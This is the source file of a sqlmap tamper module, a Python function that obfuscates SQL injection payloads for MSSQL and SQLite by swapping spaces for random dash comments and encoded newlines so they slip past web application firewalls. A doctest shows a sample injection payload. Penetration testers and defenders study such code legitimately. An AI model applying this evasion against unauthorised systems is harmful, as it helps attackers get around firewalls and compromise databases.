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57 lines
1.6 KiB
Python
57 lines
1.6 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import random
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import string
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from lib.core.compat import xrange
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def tamper(payload, **kwargs):
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"""
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Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
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Requirement:
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* MSSQL
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* SQLite
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Notes:
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* Useful to bypass several web application firewalls
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* Used during the ZeroNights SQL injection challenge,
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https://proton.onsec.ru/contest/
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>>> random.seed(0)
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>>> tamper('1 AND 9227=9227')
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'1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
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"""
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retVal = ""
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if payload:
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quote, doublequote = False, False
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for i in xrange(len(payload)):
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if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'):
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quote = not quote
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elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'):
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doublequote = not doublequote
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if not quote and not doublequote:
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if payload[i].isspace():
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randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
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retVal += "--%s%%0A" % randomStr
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elif payload[i] == '#' or payload[i:i + 3] == '-- ':
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retVal += payload[i:]
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break
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else:
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retVal += payload[i]
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else:
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retVal += payload[i]
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return retVal
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